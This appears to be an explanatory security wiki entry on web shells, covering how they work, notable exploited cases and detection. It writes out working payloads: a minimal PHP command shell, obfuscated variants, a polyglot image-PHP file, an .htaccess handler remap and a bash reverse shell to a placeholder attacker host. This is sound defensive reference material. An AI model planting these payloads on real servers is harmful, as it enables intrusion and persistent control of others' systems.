Web Shells

A web shell is an attacker-planted script in a web-accessible, server-executed location that turns subsequent HTTP requests into command execution — the standard persistence/interaction payload after Unrestricted File Upload or any write primitive.

How it works

Once a write primitive lands executable content under an active handler (see Unrestricted File Upload), each request to that URL runs code in the server process. The shell reads a command from a parameter/header/cookie and returns output in the response body. Delivery is the hard part (filter bypass); the shell itself is small.

Payloads

  • Minimal PHP: <?php system($_GET['c']); ?> → GET /uploads/s.php?c=id.
  • Data-exfil one-liner (lab style): <?php echo file_get_contents('/home/carlos/secret'); ?>.
  • Stealth variants: <?=?>short tags,assert(_GET[x],”), base64/gzinflate`-wrapped bodies to evade signatures.
  • ASP.NET/IIS: .aspx with <% Response.Write(new ...Process... ) %>; a .jsp equivalent on Tomcat.
  • Polyglot web shell — a file that is simultaneously a valid image and valid PHP so it passes content validation, yet executes because its real extension is .php (built with exiftool -Comment='<?php ... ?>'). Image formats ignore bytes outside their structures; PHP ignores bytes outside <?php ?>, so both coexist.
  • Config-as-shell: an uploaded .htaccess (AddType application/x-httpd-php .jpg) or IIS web.config makes an otherwise-inert extension execute — the “shell” is the handler remap.
  • Non-file shells: some chains yield execution without a file on disk — Expression Language Injection, Log4Shell, Insecure Deserialization — but attackers often drop a web shell afterward for durable access.

Escalation to a real shell

A single-request web shell is noisy and limited; upgrade to an interactive reverse shell:

bash -c 'bash -i >& /dev/tcp/ATTACKER/4444 0>&1'

caught with nc -lvnp 4444. Shells frequently run as a high-privilege user (root on appliances like Citrix NetScaler/Zyxel), so a plain system() call is already full compromise.

Notable cases

  • Cisco Unified CM (CVE-2026-20230) — actively exploited to drop web shells on internet-facing instances.
  • PHP-CGI CVE-2024-4577 — TellYouThePass ransomware used the argument-injection RCE to deploy web shells, then mshta.exe + a base64 HTA to load the encryptor.
  • Breeze Cache / Forminator / Elementor Pro (WordPress) — unauthenticated upload flaws exploited in the wild to plant PHP web shells.
  • Magento/Adobe Commerce “PolyShell” — polyglot upload gives web-shell execution.

Detection & defense

  • Serve upload dirs from a noexec/no-handler location; a planted shell then returns source text instead of running.
  • File-integrity monitoring and web-root diffing (new/modified .php/.aspx under writable dirs); YARA on common shell signatures; alert on .htaccess/web.config writes.
  • Egress filtering catches the reverse-shell/C2 callback; anomalous system()/exec from the web user is a strong signal.
  • Prevent at the source — close the Unrestricted File Upload and injection primitives that allow the write.

See also: Path Traversal · Zip Slip and Archive Extraction

Sources